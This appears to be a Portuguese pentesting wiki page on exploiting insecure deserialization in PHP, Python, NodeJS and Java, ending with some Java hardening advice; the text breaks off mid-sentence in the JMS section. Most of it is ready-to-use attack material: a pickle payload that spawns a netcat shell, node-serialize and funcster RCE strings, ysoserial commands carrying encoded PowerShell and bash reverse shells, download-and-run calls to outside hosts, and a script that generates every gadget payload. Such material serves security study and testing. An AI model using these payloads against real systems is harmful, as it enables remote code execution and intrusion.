# Desserialização **Serialização** é o processo de transformar um objeto em um formato de dados que pode ser restaurado posteriormente. As pessoas frequentemente serializam objetos para salvá-los em armazenamento ou para enviar como parte de comunicações. **Desserialização** é o processo inverso, pegando dados estruturados de algum formato e reconstruindo-o em um objeto. Atualmente, o formato de dados mais popular para serializar dados é o JSON. Antes disso, era o XML. Em muitas ocasiões, você pode encontrar algum código no lado do servidor que desserializa algum objeto fornecido pelo usuário. Nesse caso, você pode enviar uma carga maliciosa para fazer com que o lado do servidor se comporte de maneira inesperada. **Você deve ler:** [**https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) **para aprender como atacar.** ## PHP Método mágico usado com serialização: * `__sleep` é chamado quando um objeto é serializado e deve ser retornado para um array. Método mágico usado com desserialização: * `__wakeup` é chamado quando um objeto é desserializado. * `__unserialize` é chamado em vez de `__wakeup` se existir. * `__destruct` é chamado quando o script PHP termina e o objeto é destruído. * `__toString` usa o objeto como string, mas também pode ser usado para ler arquivos ou mais do que isso com base na chamada de função dentro dele. ```php s.'
'; } public function __toString() { echo '__toString method called'; } public function __construct(){ echo "__construct method called"; } public function __destruct(){ echo "__destruct method called"; } public function __wakeup(){ echo "__wakeup method called"; } public function __sleep(){ echo "__sleep method called"; return array("s"); #The "s" makes references to the public attribute } } $o = new test(); $o->displaystring(); $ser=serialize($o); echo $ser; $unser=unserialize($ser); $unser->displaystring(); /* php > $o = new test(); __construct method called __destruct method called php > $o->displaystring(); This is a test
php > $ser=serialize($o); __sleep method called php > echo $ser; O:4:"test":1:{s:1:"s";s:14:"This is a test";} php > $unser=unserialize($ser); __wakeup method called __destruct method called php > $unser->displaystring(); This is a test
*/ ?> ``` Se você olhar para os resultados, poderá ver que as funções **`__wakeup`** e **`__destruct`** são chamadas quando o objeto é desserializado. Note que em vários tutoriais você encontrará que a função **`__toString`** é chamada ao tentar imprimir algum atributo, mas aparentemente isso **não está mais acontecendo**. {% hint style="warning" %} O método **`__unserialize(array $data)`** é chamado **em vez de `__wakeup()`** se ele for implementado na classe. Ele permite desserializar o objeto fornecendo os dados serializados como um array. Você pode usar este método para desserializar propriedades e realizar quaisquer tarefas necessárias na desserialização. ```php phpCopy codeclass MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // Perform any necessary tasks upon deserialization. } } ``` {% endhint %} Você pode ler um exemplo **PHP explicado aqui**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), aqui [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ou aqui [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) ### PHP Deserial + Classes de Autoload Você pode abusar da funcionalidade de autoload do PHP para carregar arquivos php arbitrários e mais: {% content-ref url="php-deserialization-+-autoload-classes.md" %} [php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md) {% endcontent-ref %} ### Serializando Valores Referenciados Se por algum motivo você deseja serializar um valor como uma **referência a outro valor serializado**, você pode: ```php param1 =& $o->param22; $o->param = "PARAM"; $ser=serialize($o); ``` ### PHPGGC (ysoserial para PHP) [**PHPGCC**](https://github.com/ambionics/phpggc) pode ajudá-lo a gerar payloads para abusar de deserializações em PHP.\ Observe que em vários casos você **não será capaz de encontrar uma maneira de abusar de uma deserialização no código-fonte** da aplicação, mas você pode ser capaz de **abusar do código de extensões PHP externas.**\ Então, se possível, verifique o `phpinfo()` do servidor e **pesquise na internet** (e até mesmo nos **gadgets** do **PHPGCC**) alguns possíveis gadgets que você poderia abusar. ### Deserialização de metadados phar:// Se você encontrou um LFI que está apenas lendo o arquivo e não executando o código php dentro dele, por exemplo, usando funções como _**file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**_**. Você pode tentar abusar de uma **deserialização** que ocorre quando **lê** um **arquivo** usando o protocolo **phar**.\ Para mais informações, leia o seguinte post: {% content-ref url="../file-inclusion/phar-deserialization.md" %} [phar-deserialization.md](../file-inclusion/phar-deserialization.md) {% endcontent-ref %} ## Python ### **Pickle** Quando o objeto é desempacotado, a função _\_\_reduce\_\__ será executada.\ Quando explorado, o servidor pode retornar um erro. ```python import pickle, os, base64 class P(object): def __reduce__(self): return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",)) print(base64.b64encode(pickle.dumps(P()))) ``` Para obter mais informações sobre como escapar de **jaulas de pickle**, consulte: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) {% endcontent-ref %} ### Yaml **&** jsonpickle A seguinte página apresenta a técnica de **abusar da desserialização insegura em bibliotecas python yamls** e termina com uma ferramenta que pode ser usada para gerar carga útil de desserialização RCE para **Pickle, PyYAML, jsonpickle e ruamel.yaml**: {% content-ref url="python-yaml-deserialization.md" %} [python-yaml-deserialization.md](python-yaml-deserialization.md) {% endcontent-ref %} ### Poluição de Classe (Python Prototype Pollution) {% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} [class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) {% endcontent-ref %} ## NodeJS ### Funções Mágicas JS JS **não tem funções "mágicas"** como PHP ou Python que serão executadas apenas para criar um objeto. Mas tem algumas **funções** que são **frequentemente usadas mesmo sem serem chamadas diretamente** como **`toString`**, **`valueOf`**, **`toJSON`**.\ Se abusar de uma desserialização, você pode **comprometer essas funções para executar outro código** (potencialmente abusando de poluições de protótipos) e poderia executar código arbitrário quando elas são chamadas. Outra **maneira "mágica" de chamar uma função** sem chamá-la diretamente é **comprometer um objeto que é retornado por uma função assíncrona** (promessa). Porque, se você **transformar** esse **objeto de retorno** em outra **promessa** com uma **propriedade** chamada **"then" do tipo função**, ela será **executada** apenas porque é retornada por outra promessa. _Siga_ [_**este link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _para mais informações._ ```javascript // If you can compromise p (returned object) to be a promise // it will be executed just because it's the return object of an async function: async function test_resolve() { const p = new Promise(resolve => { console.log('hello') resolve() }) return p } async function test_then() { const p = new Promise(then => { console.log('hello') return 1 }) return p } test_ressolve() test_then() //For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/ ``` ### Poluição de `__proto__` e `prototype` Se você deseja aprender sobre essa técnica, **dê uma olhada no seguinte tutorial**: {% content-ref url="nodejs-proto-prototype-pollution/" %} [nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/) {% endcontent-ref %} ### [node-serialize](https://www.npmjs.com/package/node-serialize) Essa biblioteca permite serializar funções. Exemplo: ```javascript var y = { "rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}, } var serialize = require('node-serialize'); var payload_serialized = serialize.serialize(y); console.log("Serialized: \n" + payload_serialized); ``` O **objeto serializado** parecerá com: ```bash {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} ``` Você pode ver no exemplo que quando uma função é serializada, a flag `_$$ND_FUNC$$_` é adicionada ao objeto serializado. Dentro do arquivo `node-serialize/lib/serialize.js`, você pode encontrar a mesma flag e como o código a está usando. ![](<../../.gitbook/assets/image (297).png>) ![](<../../.gitbook/assets/image (298).png>) Como você pode ver no último trecho de código, **se a flag for encontrada**, `eval` é usado para desserializar a função, então basicamente **a entrada do usuário está sendo usada dentro da função `eval`**. No entanto, **apenas serializar** uma função **não a executará** já que seria necessário que alguma parte do código esteja **chamando `y.rce`** em nosso exemplo e isso é altamente **improvável**.\ De qualquer forma, você poderia apenas **modificar o objeto serializado** **adicionando alguns parênteses** para executar automaticamente a função serializada quando o objeto for desserializado.\ No próximo trecho de código, **observe o último parêntese** e como a função `unserialize` executará automaticamente o código: ```javascript var serialize = require('node-serialize'); var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"}; serialize.unserialize(test); ``` Como foi indicado anteriormente, esta biblioteca irá obter o código após `_$$ND_FUNC$$_` e irá **executá-lo** usando `eval`. Portanto, para **autoexecutar o código**, você pode **excluir a parte de criação da função** e o último parêntese e **apenas executar um JS em uma linha**, como no exemplo a seguir: ```javascript var serialize = require('node-serialize'); var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}'; serialize.unserialize(test); ``` Você pode [**encontrar aqui**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **mais informações** sobre como explorar essa vulnerabilidade. ### [funcster](https://www.npmjs.com/package/funcster) A diferença interessante aqui é que os **objetos padrão integrados não são acessíveis**, porque estão fora do escopo. Isso significa que podemos executar nosso código, mas não podemos chamar os métodos dos objetos integrados. Então, se usarmos `console.log()` ou `require(something)`, o Node retorna uma exceção como `"ReferenceError: console is not defined"`. No entanto, podemos facilmente recuperar o acesso a tudo porque ainda temos acesso ao contexto global usando algo como `this.constructor.constructor("console.log(1111)")();`: ```javascript funcster = require("funcster"); //Serialization var test = funcster.serialize(function() { return "Hello world!" }) console.log(test) // { __js_function: 'function(){return"Hello world!"}' } //Deserialization with auto-execution var desertest1 = { __js_function: 'function(){return "Hello world!"}()' } funcster.deepDeserialize(desertest1) var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' } funcster.deepDeserialize(desertest2) var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' } funcster.deepDeserialize(desertest3) ``` **Para mais informações, leia esta página.** ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) O pacote **não inclui nenhuma funcionalidade de desserialização** e requer que você a implemente por conta própria. O exemplo deles usa `eval` diretamente. Este é o exemplo oficial de desserialização: ```javascript function deserialize(serializedJavascript){ return eval('(' + serializedJavascript + ')'); } ``` Se essa função é usada para desserializar objetos, você pode **facilmente explorá-la**: ```javascript var serialize = require('serialize-javascript'); //Serialization var test = serialize(function() { return "Hello world!" }); console.log(test) //function() { return "Hello world!" } //Deserialization var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" deserialize(test) ``` ### Biblioteca Cryo Nas páginas a seguir, você pode encontrar informações sobre como abusar dessa biblioteca para executar comandos arbitrários: * [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) * [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418) ## Java - HTTP O principal problema com objetos desserializados em Java é que **callbacks de desserialização foram invocados durante a desserialização**. Isso torna possível para um **atacante** **aproveitar esses callbacks** e preparar uma carga útil que abusa dos callbacks para **realizar ações maliciosas**. ### Impressões digitais #### Caixa branca Procure dentro do código por classes e funções de serialização. Por exemplo, procure por classes que implementam `Serializable`, o uso de `java.io.ObjectInputStream` ou funções `readObject` ou `readUnshare`. Você também deve ficar de olho em: * `XMLdecoder` com parâmetros definidos pelo usuário externo * `XStream` com método `fromXML` (a versão xstream <= v1.46 é vulnerável ao problema de serialização) * `ObjectInputStream` com `readObject` * Usos de `readObject`, `readObjectNodData`, `readResolve` ou `readExternal` * `ObjectInputStream.readUnshared` * `Serializable` #### Caixa preta **Impressões digitais/Bytes mágicos** de objetos **serializados em Java** (de `ObjectInputStream`): * `AC ED 00 05` em Hex * `rO0` em Base64 * Cabeçalho `Content-type` de uma resposta HTTP definido como `application/x-java-serialized-object` * `1F 8B 08 00` Hex previamente comprimido * `H4sIA` Base64 previamente comprimido * Arquivos da web com extensão `.faces` e parâmetro `faces.ViewState`. Se você encontrar isso em um aplicativo da web, dê uma olhada no [**post sobre desserialização Java JSF VewState**](java-jsf-viewstate-.faces-deserialization.md). ``` javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s ``` ### Verificar se é vulnerável Se você quer **aprender sobre como funciona uma exploração de deserialização Java**, você deve dar uma olhada em [**Deserialização Java Básica**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialização Java DNS**](java-dns-deserialization-and-gadgetprobe.md) e [**Carga Útil do CommonsCollection1**](java-transformers-to-rutime-exec-payload.md). #### Teste de Caixa Branca Você pode verificar se há alguma aplicação instalada com vulnerabilidades conhecidas. ```bash find . -iname "*commons*collection*" grep -R InvokeTransformer . ``` Você pode tentar **verificar todas as bibliotecas** conhecidas por serem vulneráveis e que o [**Ysoserial**](https://github.com/frohoff/ysoserial) pode fornecer uma exploração. Ou você pode verificar as bibliotecas indicadas em [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ Você também pode usar o [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) para procurar possíveis cadeias de gadgets que possam ser exploradas.\ Ao executar o **gadgetinspector** (depois de construí-lo), não se preocupe com as toneladas de avisos/erros que ele está passando e deixe-o terminar. Ele escreverá todas as descobertas em _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Por favor, note que o **gadgetinspector não criará uma exploração e pode indicar falsos positivos**. #### Teste de Caixa Preta Usando a extensão do Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), você pode identificar **quais bibliotecas estão disponíveis** (e até mesmo as versões). Com essas informações, pode ser **mais fácil escolher um payload** para explorar a vulnerabilidade.\ [**Leia mais sobre o GadgetProbe aqui**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ O GadgetProbe é focado em desserializações de \*\* `ObjectInputStream` \*\*.\*\* Usando a extensão do Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), você pode **identificar bibliotecas vulneráveis** exploráveis com o ysoserial e **explorá-las**.\ [**Leia mais sobre o Java Deserialization Scanner aqui.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ O Java Deserialization Scanner é focado em desserializações de **`ObjectInputStream`**. Você também pode usar o [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades de desserialização** no **Burp**. Este plugin detectará vulnerabilidades relacionadas não apenas ao `ObjectInputStream`, mas também a bibliotecas de desserialização de **Json** e **Yml**. No modo ativo, ele tentará confirmá-las usando payloads de sleep ou DNS.\ [**Você pode encontrar mais informações sobre o Freddy aqui.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) #### Teste de Serialização Não se trata apenas de verificar se alguma biblioteca vulnerável é usada pelo servidor. Às vezes, você pode ser capaz de **alterar os dados dentro do objeto serializado e contornar algumas verificações** (talvez conceder privilégios de administrador dentro de um aplicativo da web).\ Se você encontrar um objeto serializado Java sendo enviado para um aplicativo da web, **você pode usar o** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir em um formato mais legível para humanos o objeto de serialização que está sendo enviado**. Saber quais dados você está enviando tornaria mais fácil modificá-los e contornar algumas verificações. ### **Exploração** #### **ysoserial** A ferramenta mais conhecida para explorar desserializações Java é o [**ysoserial**](https://github.com/frohoff/ysoserial) ([**baixe aqui**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Você também pode considerar o uso do [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), que permitirá que você use comandos complexos (com pipes, por exemplo).\ Observe que esta ferramenta está **centrada** em explorar **`ObjectInputStream`**.\ Eu **começaria usando o payload "URLDNS"** antes de um payload RCE para testar se a injeção é possível. De qualquer forma, observe que talvez o payload "URLDNS" não esteja funcionando, mas outro payload RCE esteja. ```bash # PoC to make the application perform a DNS req java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload # PoC RCE in Windows # Ping java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload # Time, I noticed the response too longer when this was used java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload # Create File java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload # DNS request java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net" # HTTP request (+DNS) java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a" java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA" ## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a') ## To encode something in Base64 for Windows PS from linux you can use: echo -n "" | iconv --to-code UTF-16LE | base64 -w0 # Reverse Shell ## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1') java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA" #PoC RCE in Linux # Ping java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload # Time ## Using time in bash I didn't notice any difference in the timing of the response # Create file java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload # DNS request java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" # HTTP request (+DNS) java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" # Reverse shell ## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0 ## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}" # Base64 encode payload in base64 base64 -w0 payload ``` Ao criar um payload para **java.lang.Runtime.exec()**, você **não pode usar caracteres especiais** como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou até mesmo **passar argumentos** para um comando separados por **espaços** (você pode fazer `echo -n "hello world"`, mas não pode fazer `python2 -c 'print "Hello world"'`). Para codificar corretamente o payload, você pode [usar esta página da web](http://www.jackson-t.ca/runtime-exec-payloads.html). Sinta-se à vontade para usar o próximo script para criar **todos os possíveis payloads de execução de código** para Windows e Linux e, em seguida, testá-los na página da web vulnerável: ```python import os import base64 # You may need to update the payloads payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1'] def generate(name, cmd): for payload in payloads: final = cmd.replace('REPLACE', payload) print 'Generating ' + payload + ' for ' + name + '...' command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"') result = command.read() command.close() encoded = base64.b64encode(result) if encoded != "": open(name + '_intruder.txt', 'a').write(encoded + '\n') generate('Windows', 'ping -n 1 win.REPLACE.server.local') generate('Linux', 'ping -c 1 nix.REPLACE.server.local') ``` #### serialkillerbypassgadgets Você pode **usar** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **junto com o ysoserial para criar mais exploits**. Mais informações sobre essa ferramenta nos **slides da apresentação** onde a ferramenta foi apresentada: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1) #### marshalsec [**marshalsec** ](https://github.com/mbechler/marshalsec)pode ser usado para gerar payloads para explorar diferentes bibliotecas de serialização **Json** e **Yml** em Java.\ Para compilar o projeto, eu precisei **adicionar** essas **dependências** ao `pom.xml`: ```markup javax.activation activation 1.1.1 com.sun.jndi rmiregistry 1.2.1 pom ``` **Instale o Maven** e **compile** o projeto: ```bash sudo apt-get install maven mvn clean package -DskipTests ``` #### FastJSON Leia mais sobre esta biblioteca Java JSON: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) ### Laboratórios * Se você quiser testar alguns payloads ysoserial, você pode **executar este aplicativo da web**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) * [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) ### Por que Java ADORA enviar objetos serializados por toda parte. Por exemplo: * Em **solicitações HTTP** - Parâmetros, ViewState, Cookies, você escolhe. * **RMI** - O protocolo Java RMI amplamente utilizado é 100% baseado em serialização * **RMI sobre HTTP** - Muitos aplicativos da web de cliente espesso Java usam isso - novamente objetos 100% serializados * **JMX** - Novamente, depende de objetos serializados sendo enviados pela rede * **Protocolos personalizados** - Enviar e receber objetos Java brutos é a norma - o que veremos em alguns dos exploits que virão ### Prevenção #### Objetos Transientes Uma classe que implementa `Serializable` pode implementar como `transient` qualquer objeto dentro da classe que não deve ser serializado. Por exemplo: ```java public class myAccount implements Serializable { private transient double profit; // declared transient private transient double margin; // declared transient ``` #### Evite a Serialização de uma classe que precisa implementar Serializable Alguns dos objetos de sua aplicação podem ser forçados a implementar `Serializable` devido à sua hierarquia. Para garantir que seus objetos de aplicação não possam ser desserializados, um método `readObject()` deve ser declarado (com um modificador `final`) que sempre lança uma exceção: ```java private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Cannot be deserialized"); } ``` #### Verifique a classe desserializada antes de desserializá-la A classe `java.io.ObjectInputStream` é usada para desserializar objetos. É possível fortalecer seu comportamento criando uma subclasse. Essa é a melhor solução se: * Você pode alterar o código que faz a desserialização * Você sabe quais classes espera desserializar A ideia geral é substituir [`ObjectInputStream.html#resolveClass()`](https://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass\(java.io.ObjectStreamClass\)) para restringir quais classes são permitidas para desserialização. Como essa chamada acontece antes de um `readObject()` ser chamado, você pode ter certeza de que nenhuma atividade de desserialização ocorrerá, a menos que o tipo seja um que você deseja permitir. Um exemplo simples disso é mostrado aqui, onde a classe `LookAheadObjectInputStream` é garantida de não desserializar nenhum outro tipo além da classe `Bicycle`: ```java public class LookAheadObjectInputStream extends ObjectInputStream { public LookAheadObjectInputStream(InputStream inputStream) throws IOException { super(inputStream); } /** * Only deserialize instances of our expected Bicycle class */ @Override protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().equals(Bicycle.class.getName())) { throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName()); } return super.resolveClass(desc); } } ``` **Fortalecer todo o uso de java.io.ObjectInputStream com um Agente** Se você não possui o código ou não pode esperar por uma correção, usar um agente para tecer fortalecimento em `java.io.ObjectInputStream` é a melhor solução.\ Usando essa abordagem, você só pode colocar em uma lista negra tipos maliciosos conhecidos e não colocá-los em uma lista branca, já que você não sabe quais objetos estão sendo serializados. Para habilitar esses agentes, basta adicionar um novo parâmetro JVM: ``` -javaagent:name-of-agent.jar ``` Exemplo: [rO0 pela Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) ### Referências * Palestra sobre deserialização e ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) * [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) * [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ) * Palestra sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) e slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) * Artigo sobre Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) * [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) * [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) * [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) * Artigo sobre deserializações CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) ## Injeção JNDI e log4Shell Descubra o que é **Injeção JNDI, como abusá-la via RMI, CORBA e LDAP e como explorar o log4shell** (e exemplo dessa vulnerabilidade) na seguinte página: {% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} [jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md) {% endcontent-ref %} ## JMS - Java Message Service > A API **Java Message Service** (**JMS**) é uma API de middleware orientada a mensagens Java para enviar mensagens entre dois ou mais clientes. É uma implementação para lidar com o problema produtor-consumidor. O JMS é uma parte da Plataforma Java, Enterprise Edition (Java EE), e foi definido por uma especificação desenvolvida na Sun Microsystems, mas que desde então tem sido guiada pelo Java Community Process. É um padrão de mensagens que permite que componentes de aplicativos baseados em Java EE criem, enviem, recebam e leiam mensagens. Ele permite que a comunicação entre diferentes componentes de um aplicativo distribuído seja fracamente acoplada, confiável e assíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)). ### Produtos Existem vários produtos que usam esse middleware para enviar mensagens: ![](<../../.gitbook/assets/image (291).png>) ![](<../../.gitbook/assets/image (292).png>) ### Exploração Basicamente, há **um monte de serviços usando JMS de maneira perigosa**. Portanto, se você tiver **privilégios suficientes** para enviar mensagens para esses serviços (geralmente precisará de credenciais válidas), poderá enviar **objetos maliciosos serializados que serão desserializados pelo consumidor/assinante**.\ Isso significa que, nessa exploração, todos os **clientes que vão usar essa mensagem 